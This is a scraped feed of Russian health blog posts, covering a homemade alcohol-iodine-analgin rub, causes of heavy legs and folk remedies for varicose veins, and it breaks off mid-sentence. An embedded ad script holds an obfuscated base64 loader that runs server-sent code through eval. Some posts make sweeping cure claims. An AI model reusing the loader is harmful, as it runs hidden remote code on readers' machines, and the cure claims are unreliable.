\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>Воистину, лучшего средства я еще на себе не\x3cbr />испытывала. Заболела как-то шея, да так, что даже сидеть долго не могла,\x3cbr />и бабушка предложила мне свою чудо-растирку. Не поверите, через два дня\x3cbr />я почувствовала такое облегчение, как будто мешок камней с плеч\x3cbr />свалился. А через четыре дня вообще забыла, что когда-то шея болела.\x3c/p>\n\x3cp>Вот рецепт этой растирки. Она лечит все: радикулиты, артриты, артрозы,\x3cbr />остеохондрозы — все, что связано с суставами и костной тканью.\x3c/p>\n\x3cp>300 г спирта, 1 бутылочка камфорного спирта (10 мл), 1 бутылочка йода (10 мл), 10 таблеток анальгина.\x3c/p>\n\x3cp>Все перемешать, настоять в темном месте 21 день, и можно пользоваться.\x3cbr />Растереть на ночь и обвязать шерстяной тканью или шарфом из шерсти и\x3cbr />лечь спать. Можно днем растирать, если не выходите на улицу.10 дней\x3cbr />растирать, затем 5 дней перерыв, а потом еще 10 дней растирать если\x3cbr />болит. 💦\x3c/p>\n\x3cp>\x3ca href=\"https://vk.com/wall-76873158_100373\" target=\"_blank\">Источник\x3c/a>\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\n\x3cdiv>\n\x3cdiv>\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>\n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43805398665","tags":["тяжесть в ногах","боли в ногах","суставы","растирка","ломота","Здоровье","боли в спине"],"date":1536956542,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20560446845,"photo_original":"https://mtdata.ru/u25/photo5254/20560446845-0/original.jpg","width":696,"height":657}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/retsept-samoy-tsennoy-babushkinoy-rastirki/","topic":"health","title":"Рецепт самой ценной бабушкиной растирки","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() +","post_type":"post","formattedDates":{"iso":"2018-09-14T20:22:22.000Z","ver1":"14 сентября, 23:22","ver2":"14.09.2018 в 23:22","ver3":"14 сент., 23:22"},"images":[{"main":true,"url":"https://mtdata.ru/u25/photo5254/20560446845-0/original.jpg","width":696,"height":657}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43919161633,"from_id":229123285,"from":{"id":229123285,"display_name":"Игорь","url":"https://mirtesen.ru/people/229123285","photo_original":"https://mtdata.ru/u21/photo7EDF/20469185675-0/original.jpeg","isAuthenticAccount":false,"sex":2},"owner_id":-30669388060,"text":"\x3cdiv>Кровообращение нашего организма устроено таким образом, что для нормального кровоснабжения нижних конечностей кровь должна преодолевать силу гравитации. Когда силы ее движения становится недостаточно, то у человека появляется ощущение тяжести в ногах. Самыми частыми причинам таких нарушений кровообращения становятся отеки или застой крови\x3c/div>\n\x3cdiv>\n\x3cdiv>\n\x3cdiv data-share-url=\"https://econet.ua/articles/183229-tyazhest-v-nogah-pochemu-voznikaet-i-chto-delat\"> \x3c/div>\n\n\x3cp>Кровообращение нашего организма устроено таким образом, что для нормального кровоснабжения нижних конечностей кровь должна преодолевать силу гравитации. Когда силы ее движения становится недостаточно, то у человека появляется ощущение тяжести в ногах.\x3c/p>\n\n\x3cp>\x3cstrong>Самыми частыми причинам таких нарушений кровообращения становятся отеки или застой крови.\x3c/strong> Для их устранения должны приниматься безотлагательные меры, т. к. в дальнейшем для лечения патологий, которые могут вызвать такие симптомы, понадобится проведение хирургической операции.\x3c/p>\n\n\x3ch2>Причины и лечение тяжести в ногах\x3c/h2>\n\n\x3cdiv>\x3cimg title=\"Тяжесть в ногах: почему возникает и что делать\" src=\"//mtdata.ru/u18/photo28F1/20442610491-0/original.jpg#20442610491\" alt=\"Тяжесть в ногах: почему возникает и что делать\" longdesc=\"https://econet.ru/category/zdorovie-i-krasota/zdorovie\" />\x3c/div>\n\n\x3cdiv>\n\x3cdiv data-banner-id=\"110\"> \x3c/div>\n\x3c/div>\n\n\x3ch3>\x3cbr />Основные причины тяжести в ногах\x3cbr /> \x3c/h3>\n\x3cul>\n\x3cli>Адинамия или длительные статистические нагрузки;\x3c/li>\n\x3cli>период смены времени года;\x3c/li>\n\x3cli>ожирение;\x3c/li>\n\x3cli>пол;\x3c/li>\n\x3cli>патологии сердечно-сосудистой системы;\x3c/li>\n\x3cli>лимфостаз;\x3c/li>\n\x3cli>патологии позвоночника;\x3c/li>\n\x3cli>плоскостопие;\x3c/li>\n\x3cli>патологии суставов ног;\x3c/li>\n\x3cli>патологии почек;\x3c/li>\n\x3cli>сахарный диабет;\x3c/li>\n\x3cli>прием некоторых лекарственных препаратов;\x3c/li>\n\x3cli>период беременности.\x3c/li>\n\x3c/ul>\n\n\x3cp>В некоторых случаях тяжесть в ногах может вызваться двумя или несколькими причинами. Далее мы рассмотрим причины развития застоя крови и отеков в ногах более подробно.\x3c/p>\n\x3ch4>Адинамия или длительные статистические нагрузки\x3c/h4>\n\n\x3cul>\n\x3cli>Сильные и статичные сокращения мускулатуры ног и ее постоянное напряжение наблюдаются у лиц, чья профессия связана с длительным нахождением в вертикальном положении (спортсмены, грузчики, хирурги, учителя, парикмахеры, работники торговли и др.);\x3c/li>\n\x3c/ul>\n\n\x3cul>\n\x3cli>редкие и слабые сокращения мускулатуры ног наблюдаются при малоподвижном образе жизни или у людей, чья профессия связана с длительным сидячим положением (тяжелобольные, операторы компьютерного набора, офисные работники, водители и др.).\x3c/li>\n\x3c/ul>\n\x3cp>\x3cbr />\x3cstrong>Обе эти причины приводят к нарушению венозного оттока из нижних конечностей и провоцируют венозную недостаточность\x3c/strong>, которая может усугубляться развитием варикозной болезни, тромбофлебитов и тромбозов.\x3c/p>\n\n\x3ch4>Смена времени года\x3c/h4>\n\x3cp>\x3cbr />Температура воздуха способна влиять на обмен жидкости в тканях организма. \x3cstrong>Во время жары кровообращение в нижних конечностях нарушается, и у человека могут появляться отеки.\x3c/strong>\x3c/p>\n\x3cp>\x3cbr /> \x3c/p>\n\x3ch4>Ожирение\x3c/h4>\n\n\x3cp>\x3cstrong>При излишнем весе нижним конечностям постоянно приходится удерживать его.\x3c/strong> Это приводит к увеличению напряжения мышц и вызывает увеличение объема не только циркулирующей крови, но и общего количества межтканевой жидкости. \x3cstrong>Все эти факторы вызывают сдавление вен и нарушают венозный отток.\x3c/strong>\x3c/p>\n\n\x3cp>Пол\x3c/p>\n\n\x3cp>Женщины, предпочитающие обувь на высоких каблуках, часто чувствуют тяжесть и усталость ног в конце дня.\x3cbr />\x3cstrong>Гормональный фон женщины подвержен более частым колебаниям, чем мужской. Это вызывается такими физиологичными состояниями:\x3c/strong>\x3c/p>\n\x3cul>\n\x3cli>нарушения и физиологические колебания уровня гормонов на протяжении менструального цикла;\x3c/li>\n\x3cli>беременность;\x3c/li>\n\x3cli>прием гормональных контрацептивов;\x3c/li>\n\x3cli>роды;\x3c/li>\n\x3cli>наступление менопаузы.\x3c/li>\n\x3c/ul>\n\n\x3cp>Влияние пола на более частые нарушения кровообращения в нижних конечностях вызывается и пристрастием женщин к обуви на высоких каблуках, которая нарушает физиологичное расположение мышц и вызывает их перезагрузку.\x3c/p>\n\n\x3ch4>Патологии сердечно-сосудистой системы\x3c/h4>\n\n\x3cp>\x3cstrong>Именно сердце является «основным насосом», перекачивающим всю кровь,\x3c/strong> и при некоторых его заболеваниях нормальное кровообращение становится невозможным, т. к. нарушения в структуре сердечной мышцы лишают его этой способности.\x3c/p>\n\n\x3cp>\x3cstrong>К таким патологиям относят:\x3c/strong>\x3c/p>\n\x3cul>\n\x3cli>кардиомиопатии;\x3c/li>\n\x3cli>перикардит;\x3c/li>\n\x3cli>хроническую сердечную недостаточность.\x3c/li>\n\x3c/ul>\n\n\x3cp>\x3cstrong>Тяжесть в ногах присуща и многим заболеваниям сосудов ног:\x3c/strong>\x3c/p>\n\x3cul>\n\x3cli>атеросклероз;\x3c/li>\n\x3cli>эндартериит;\x3c/li>\n\x3cli>варикоз;\x3c/li>\n\x3cli>тромбофлебит.\x3c/li>\n\x3c/ul>\n\n\x3cp>\x3cstrong>Эти патологии приводят к нарушению нормальной циркуляции крови в нижних конечностях и их отечности.\x3c/strong>\x3c/p>\n\n\x3cdiv>\n\x3cdiv data-banner-id=\"267\"> \x3c/div>\n\x3c/div>\n\n\x3cdiv>\x3cimg title=\"Тяжесть в ногах: почему возникает и что делать\" src=\"//mtdata.ru/u18/photo7BEE/20665683340-0/original.jpg#20665683340\" alt=\"Тяжесть в ногах: почему возникает и что делать\" longdesc=\"https://econet.ru/category/zdorovie-i-krasota/zdorovie\" />\x3c/div>\n\n\x3cdiv>\n\x3cdiv data-banner-id=\"118\"> \x3c/div>\n\x3c/div>\n\n\x3ch4>Лимфостаз\x3c/h4>\n\n\x3cp>\x3cstrong>Лимфостаз может быть следствием врожденной патологии лимфатической системы или приобретенных заболеваний\x3c/strong> (травмы, ожога, рожистого воспаления, постхирургических осложнений). Отек ног вызывается нарушением оттока лимфы из нижних конечностей и сопровождается застоем венозной крови в венах ног.\x3c/p>\n\n\x3ch4>Патологии позвоночника\x3c/h4>\n\n\x3cp>\x3cstrong>Некоторые заболевания позвоночного столба сопровождаются появлением болей или тяжести в ногах. \x3c/strong>Остеохондроз поясничного отдела часто становится причиной развития ишиаса (воспаления седалищного нерва). Помимо тяжести в ногах, у больного появляются ощущение «ватных ног», онемение и жжение в нижних конечностях.\x3c/p>\n\n\x3ch4>Плоскостопие\x3c/h4>\n\n\x3cp>\x3cstrong>Уплощение сводов стопы приводит к нарушению функции опоры, что способствует быстрой утомляемости ног.\x3c/strong>\x3c/p>\n\x3cp>\x3cbr />Нарушение физиологичного свода стопы приводит к нарушению осанки и появлению повышенной утомляемости при ходьбе. \x3cstrong>В таких случаях больной ощущает «свинцовую» тяжесть в ногах, а к концу рабочего дня могут появляться отеки и судороги ног.\x3c/strong>\x3c/p>\n\n\x3ch4>Поражения суставов\x3c/h4>\n\n\x3cp>\x3cstrong>Коленный бурсит, подагра, остеоартрит и ревматоидный артрит: эти заболевания сопровождаются воспалением структур суставов ног. \x3c/strong>Этот патологический процесс всегда приводит к появлению отеков, болей и ощущениям тяжести в ногах.\x3c/p>\n\n\x3cp>Патологии почек\x3c/p>\n\n\x3cp>\x3cstrong>Острая и хроническая почечная недостаточность, нефротический синдром:\x3c/strong> эти патологии почек, которые могут провоцироваться многими другими заболеваниями, \x3cstrong>приводят к задержке вывода жидкости из организма и развитию отеков, которые могут локализироваться по всему телу, в т. ч. и в нижних конечностях.\x3c/strong>\x3c/p>\n\n\x3ch4>Сахарный диабет\x3c/h4>\n\n\x3cp>\x3cstrong>Одним из симптомов сахарного диабета, сопровождающегося повышением уровня глюкозы и поражением сосудов, может быть ощущение тяжести в ногах.\x3c/strong> Оно может дополняться болями, судорогами и слабостью. Впоследствии у больного может развиваться «диабетическая стопа». При таком состоянии может ставиться вопрос о вынужденной ампутации пораженной части конечности.\x3c/p>\n\n\x3ch4>Прием некоторых лекарственных препаратов\x3c/h4>\n\x3cp>\x3cbr />\x3cstrong>Некоторые медикаментозные средства оказывают такой побочный эффект, как повышенное скопление жидкости в мягких тканях нижних конечностей. \x3c/strong>Это приводит к нарушению их чувствительности и ощущению тяжести в ногах.\x3c/p>\n\x3cp>\x3cstrong>Подобные побочные эффекты развиваются при длительном приеме следующих препаратов:\x3c/strong>\x3c/p>\n\x3cul>\n\x3cli>гипотензивные средства;\x3c/li>\n\x3cli>сахароснижающие препараты;\x3c/li>\n\x3cli>гормональные препараты;\x3c/li>\n\x3cli>нестероидные противовоспалительные средства.\x3c/li>\n\x3c/ul>\n\n\x3ch4>Период беременности\x3c/h4>\n\n\x3cp>\x3cstrong>Во время вынашивания плода в организме женщин наступают такие изменения:\x3c/strong>\x3c/p>\n\x3cul>\n\x3cli>увеличивается объем циркулирующей крови (примерно на 0,5 литра);\x3c/li>\n\x3cli>беременная матка постоянно растет и начинает сдавливать вены малого таза, которые транспортируют кровь к сердцу;\x3c/li>\n\x3cli>повышается уровень прогестерона, который повышает проницаемость венозных стенок.\x3c/li>\n\x3c/ul>\n\n\x3cp>\x3cstrong>Все эти физиологические изменения способствуют появлению отеков и тяжести в ногах почти у половины беременных.\x3c/strong>\x3c/p>\n\n\x3ch3>Какие симптомы могут стать поводом для вызова «Скорой помощи»?\x3c/h3>\n\x3cp>\x3cbr />\x3cstrong>Поводом для вызова «Скорой помощи» могут стать следующие симптомы, которые сопутствуют отеку и тяжести в ногах:\x3c/strong>\x3c/p>\n\x3cul>\n\x3cli>затрудненность дыхания;\x3c/li>\n\x3cli>боли в области груди, которые длятся более 10 минут;\x3c/li>\n\x3cli>головокружение;\x3c/li>\n\x3cli>спутанность сознания;\x3c/li>\n\x3cli>обморок.\x3c/li>\n\x3c/ul>\n\n\x3cp>\x3cstrong>Также поводом для немедленного обращения к доктору могут стать недавние травмы, которые вызвали отек нижней конечности.\x3c/strong>\x3c/p>\n\x3ch3>\x3cbr /> \x3c/h3>\n\x3cdiv>\x3cimg title=\"Тяжесть в ногах: почему возникает и что делать\" src=\"//mtdata.ru/u18/photo28A7/20111829038-0/original.jpg#20111829038\" alt=\"Тяжесть в ногах: почему возникает и что делать\" longdesc=\"https://econet.ru/category/zdorovie-i-krasota/zdorovie\" />\x3c/div>\n\x3ch3> \x3c/h3>\n\x3ch3>Как выяснить причину тяжести в ногах?\x3c/h3>\n\x3cp>\x3cbr />\x3cstrong>Для выяснения причины появления тяжести в ногах\x3c/strong>, от которой будет зависеть дальнейшее лечение проблемы, \x3cstrong>необходимо пройти ряд диагностических исследований.\x3c/strong> Их комплекс будет зависеть от характера жалоб, сопутствующих заболеваний, профессиональной деятельности и наследственной предрасположенности больного к тем или иным патологиям.\x3c/p>\n\n\x3cp>\x3cstrong>Чаще всего в диагностическую схему обследования больного с жалобами на тяжесть в ногах включают такие методики исследований:\x3c/strong>\x3c/p>\n\x3cul>\n\x3cli>УЗИ вен и артерий нижних конечностей;\x3c/li>\n\x3cli>ангиосканирование;\x3c/li>\n\x3cli>УЗИ органов малого таза;\x3c/li>\n\x3cli>консультация эндокринолога;\x3c/li>\n\x3cli>анализы крови на сахар, гормоны и факторы ревматизма;\x3c/li>\n\x3cli>анализы мочи;\x3c/li>\n\x3cli>УЗИ почек;\x3c/li>\n\x3cli>ЭКГ;\x3c/li>\n\x3cli>допплеровское Эхо-КГ.\x3c/li>\n\x3c/ul>\n\n\x3ch3>Лечение\x3c/h3>\n\n\x3cp>Тактика терапии тяжести в ногах будет зависеть от данных диагностических исследований. Она состоит из методик лечения основного заболевания, приведшего к развитию отеков и венозной недостаточности, и дополнительных способов устранения неприятных ощущений в области ног при помощи использования препаратов венотоников.\x3c/p>\n\n\x3cp>Выбор средств для поддержания тонуса венозных стенок зависит от данных об их состоянии и сопутствующих патологий, которые были выявлены у больного. Препараты для приема внутрь, их дозирование и длительность применения должны подбираться только врачом.\x3c/p>\n\n\x3cp>Помимо препаратов-венотоников, больные, испытывающие тяжесть в ногах, могут предпринять меры, которые способствуют нормализации кровообращения и лимфотока в нижних конечностях.\x3c/p>\n\n\x3cp>\x3cstrong>Для этого применяются такие приемы:\x3c/strong>\x3c/p>\n\n\x3cp>1. Принять горизонтальное положение и приподнять ноги таким образом, чтобы они находились на 15-20 см выше уровня сердца. После 10-15 минут пребывания в такой позе можно почувствовать облегчение.\x3c/p>\n\n\x3cp>\x3cstrong>2. Не носить одежду и белье, которые препятствуют нормальному поступлению крови в нижнюю часть тела \x3c/strong>(например, узкие брюки, тугие ремни, утягивающие область живота корсеты и пр.).\x3c/p>\n\n\x3cp>\x3cstrong>3. Отказаться от ношения неудобной обуви\x3c/strong> (узкой или на каблуках).\x3c/p>\n\n\x3cp>\x3cstrong>4. Избавиться от лишнего веса,\x3c/strong> создающего дополнительную нагрузку на ноги.\x3c/p>\n\n\x3cp>\x3cstrong>5. Носить компрессионные гольфы или колготы\x3c/strong>, если работа или образ жизни связаны с длительным пребыванием на ногах или сидячим положением.\x3c/p>\n\n\x3cp>\x3cstrong>6. Перед принятием душа провести мягкий массаж голеней. \x3c/strong>После гигиенических процедур ополоснуть ноги холодной водой и использовать следующий массажный прием: протереть ноги полотенцем мягкими вытирающими движениями по направлению от стоп к бедрам.\x3c/p>\n\n\x3cp>\x3cstrong>7. Во время беременности соблюдать все вышеперечисленные рекомендации.\x3c/strong>\x3c/p>\n\n\x3cp>Эти методы не только избавят от неприятных ощущений, но и станут отличной мерой профилактики развития венозной недостаточности и варикозной болезни.\x3c/p>\n\n\x3cp>\x3cstrong>Больным, испытывающим тяжесть в ногах, можно проводить сеансы лечебной физкультуры\x3c/strong>, которая способствует устранению застоя крови и расслаблению мускулатуры нижних конечностей.\x3cstrong> Для этого может выполняться такой комплекс упражнений:\x3c/strong>\x3c/p>\n\n\x3cp>\x3cstrong>1.\x3c/strong> Встать на ступеньку или небольшое возвышение и перенести основной вес тела на переднюю часть стопы. Спина должна быть выпрямленной, а мышцы ног не должны быть напряженными. Удерживая равновесие, откачнуться назад и в течение 10 секунд вернуться в исходное положение.\x3c/p>\n\x3cp>Повторить 3 раза и, при необходимости, делать перерывы на отдых. Для подстраховки выполнять упражнение возле стены, за которую можно будет ухватиться при утрате равновесия.\x3c/p>\n\x3cp>\x3cstrong>2. \x3c/strong>Сесть на стул и широко развести ноги. Опираясь на пятку и не отрывая ее от пола, начать плавно сжимать и разжимать пальцы ног, совершая волнообразные движения. Количество таких движений подбирается индивидуально таким образом, чтобы чувствовалась приятная усталость.\x3c/p>\n\x3cp>\x3cstrong>3. \x3c/strong>Бросить на пол крупную монетку и попытаться поднять ее при помощи пальцев ног. По мере совершенствования в этом упражнении необходимо использовать более мелкие монеты.\x3cbr />тяжесть в ногах причины и лечение.\x3c/p>\n\n\x3cp>\x3cstrong>Все вышеописанные меры могут применяться при любых заболеваний, приведших к появлению тяжести в ногах, но они лишь предупредят развитие венозной недостаточности. \x3c/strong>Основным способом для устранения этого неприятного симптома может стать только \x3cstrong>полноценное лечение той патологии, которая вызывала нарушение нормального кровообращения в ногах. \x3c/strong>Помните об этом и не откладывайте визит к врачу!\x3c/p>\n\x3c/div>\n\x3c/div>","comments_count":0,"marks_count":4,"likes":{"count":4,"user_likes":0,"can_like":0,"marks_pluses":4,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[{"id":100,"count":4}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30669388060.mirtesen.ru/blog/43919161633","tags":["тяжесть в ногах","ноги","Брюки","кровообращение","советы","здоровье","тяжесть"],"date":1533200408,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20442610491,"photo_original":"https://mtdata.ru/u18/photo28F1/20442610491-0/original.jpg","width":800,"height":424}}],"group":{"display_name":"ПолонСил.ру - социальная сеть здоровья","url":"https://s30669388060.mirtesen.ru","photo_original":"//mtdata.ru/u20/photo2B7E/20125696275-0/original.jpeg","id":30669388060,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1354869995507},"canonical_url":"https://s30669388060.mirtesen.ru/blog/43919161633","topic":"health","title":"Тяжесть в ногах: почему возникает и что делать","preview_text":"Кровообращение нашего организма устроено таким образом, что для нормального кровоснабжения нижних конечностей кровь должна преодолевать силу гравитации. Когда силы ее движения становится недостаточно, то у человека появляется ощущение тяжести в ногах. Самыми частыми причинам таких нарушений","post_type":"post","formattedDates":{"iso":"2018-08-02T09:00:08.000Z","ver1":"2 августа, 12:00","ver2":"02.08.2018 в 12:00","ver3":"2 авг., 12:00"},"images":[{"main":true,"url":"https://mtdata.ru/u18/photo28F1/20442610491-0/original.jpg","width":800,"height":424}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43898957307,"from_id":528819553,"from":{"id":528819553,"display_name":"Ярослава Федоренко","url":"https://mirtesen.ru/people/528819553","photo_original":"https://mtdata.ru/u2/photo36DA/20475027731-0/original.jpeg","isAuthenticAccount":false,"sex":1},"owner_id":-30484788892,"text":"\x3cp>\x3cimg src=\"//mtdata.ru/u15/photo98A4/20346592408-0/original.jpg#20346592408\" alt=\"варикоз\" width=\"1200\" height=\"628\" />\x3c/p>\n\x3cp>Вы увидели венозную сетку? Почувствовали тяжесть в ногах и отеки? Это значит, что варикоз уже развивается в полную силу!\x3c/p>\n\x3cp>Важно начать лечение, как можно раньше. Предлагаем Вам несколько проверенных методов:\x3c/p>\n\x3cp>1. Настой из сушеной крапивы.\x3cbr />Сухие измельченные листья растения заливают в термосе 1/2 л крутого кипятка, настаивают 30-40 мин, процеживают и принимают по 1/3 стакана 3 раза в день через 1 час после еды.\x3c/p>\n\x3cp>2. Яблочный уксус.\x3cbr />Смазывать пораженные участки ежедневно утром и вечером, одновременно выпивая 2-3 стакана воды с добавлением 2 ч. ложек уксуса в каждый стакан.\x3c/p>\n\x3cp>3. Свежий картофель.\x3cbr />Кашицу из натертой картофелины положить на измененную кожу слоем 1 см. Сверху прикрыть несколькими слоями марли на 4-5 часов. Затем кашицу заменить новой или смочить марлевую салфетку свежим соком картофеля.\x3c/p>\n\x3cp>4. Шишки хмеля.\x3cbr />Размельчить, 1 ст. ложку залить 200 мл кипятка и нагревать на водяной бане 15 мин. Принимать по стакану 3 раза в день перед едой. На участке ног с расширенными венами прикладывать марлю, смоченную отваром хмеля.\x3c/p>\n\x3cp>5. Листья каланхоэ.\x3cbr />Приготовьте настойку: возьмите 0,5 л бутылку, заполните ее нарезанными листьями до половины, залейте доверху 40% спиртом, настаивайте 7 дней в темноте, периодически встряхивая. Затем процедите и натирайте этой настойкой ноги на ночь. Втирать ее нужно массирующими движениями снизу вверх в течение 4 месяцев.\x3c/p>\n\x3cp>6. Белокочанная капуста.\x3cbr />Лист капусты хорошенько прокатать скалкой. Одну сторону листа смазать растительным маслом и положить этой стороной на больной участок. Закрепите бинтом и держите этот компресс сутки. Курс лечения 1 месяц.\x3c/p>\n\x3cp>7. Настой антоновских яблок.\x3cbr />3 яблока среднего размера промыть холодной водой и уложить на дно эмалированной кастрюли. Залить 1 л крутого кипятка, закрыть кастрюлю крышкой, укутать в одеяло и через 4 часа, не вынимая яблоки из остывшей воды, размять их в кастрюле. Образовавшийся настой процедить и пить с медом: 1 ч. ложку меда запивать 50 мл настоя. Принимать утром натощак и перед сном.\x3c/p>\n\x3cp>Ноги женщины — ее визитная карточка. Не позволяйте варикозу выставить Вас в невыгодном свете!\x3c/p>\n\x3cp>Проявляйте заботу о себе регулярно и БУДЕТЕ ЗДОРОВЫ!\x3c/p>\n\x3cp>\x3cspan>Если у Вас слишком запущенный варикоз или сильные боли, рекомендуем Вам обратиться за консультацией к врачу. Самолечение может быть небезопасно для Вашего здоровья.\x3c/span>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30484788892.mirtesen.ru/blog/43898957307","tags":["тяжесть в ногах","ноги","отечность ног","здоровье","варикоз"],"date":1481623648,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20346592408,"photo_original":"https://mtdata.ru/u15/photo98A4/20346592408-0/original.jpg","width":1200,"height":628}}],"group":{"display_name":"Живите Здорово!","url":"https://s30484788892.mirtesen.ru","photo_original":"//mtdata.ru/u2/group2004/55092bc99a803108569c0d225c9ef896-0/__logo.jpeg","id":30484788892,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1481391906504},"canonical_url":"https://s30484788892.mirtesen.ru/blog/43898957307","topic":"health","title":"Лечим Варикоз Без Операций! Зачем Тратить Деньги На Хирургов?","preview_text":"Вы увидели венозную сетку? Почувствовали тяжесть в ногах и отеки? Это значит, что варикоз уже развивается в полную силу! \nВажно начать лечение, как можно раньше. Предлагаем Вам несколько проверенных методов: \n1. Настой из сушеной крапивы. Сухие измельченные листья растения заливают в термосе 1/2 л","post_type":"post","formattedDates":{"iso":"2016-12-13T10:07:28.000Z","ver1":"13 декабря, 13:07","ver2":"13.12.2016 в 13:07","ver3":"13 дек., 13:07"},"images":[{"main":true,"url":"https://mtdata.ru/u15/photo98A4/20346592408-0/original.jpg","width":1200,"height":628}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43159910066,"from_id":190556271,"from":{"id":190556271,"display_name":"Ася C","url":"https://mirtesen.ru/people/190556271","photo_original":"https://mtdata.ru/u23/photoFA37/20075911442-0/original.jpeg","isAuthenticAccount":false,"sex":1},"owner_id":-30007289357,"text":"\x3cp>\x3cstrong>Летом, как никогда в другое время, под вечер особо остро чувствуется усталость ног. Особенно, когда жарко. В первую очередь реакцию ног на высокие температуры чувствуют люди, страдающие от варикозного расширения вен. \x3c/strong>\x3c/p>\n\x3cdiv>\x3cimg src=\"//mtdata.ru/u23/photo13F1/20820090100-0/original.jpg#20820090100\" alt=\"Как облегчить тяжесть ног в жару, если у тебя варикоз\" />\x3c/div>\n\x3cp>Варикоз – заболевание не из приятных. Так, помимо некрасивого рисунка из вен на ногах, добавляется и постоянное чувство дискомфорта. Как правильно лечить варикозное расширение вен – это вопрос к медикам, мы же сформировали пункты ухода за ногами, которые облегчат симптомы усталости и дискомфорта во время жары.\x3c/p>\n\x3cp>\x3cspan>\x3cstrong>ДЕЛАЙ ЗАРЯДКУ\x3c/strong>\x3c/span>\x3c/p>\n\x3cp>Первое и главное правило во время жары – не дай ногам долго находиться в напряжении (стоя или сидя). Раз в час клади ноги на соседний стул в офисе или на учебе на 5 – 10 минут, чтобы их разгрузить. Если ты стесняешься или у тебя нет возможности давать ногам отдых, 2 раза в день делай несложные упражнения для ног. В частности, сгибай пальцы 35 раз. Затем двигай стопой вперед-назад и вправо-влево по 20 раз в каждую сторону. Ну, а по дороге на обед обязательно походи на цыпочках.\x3c/p>\n\x3cp>\x3cspan>\x3cstrong>СПИ 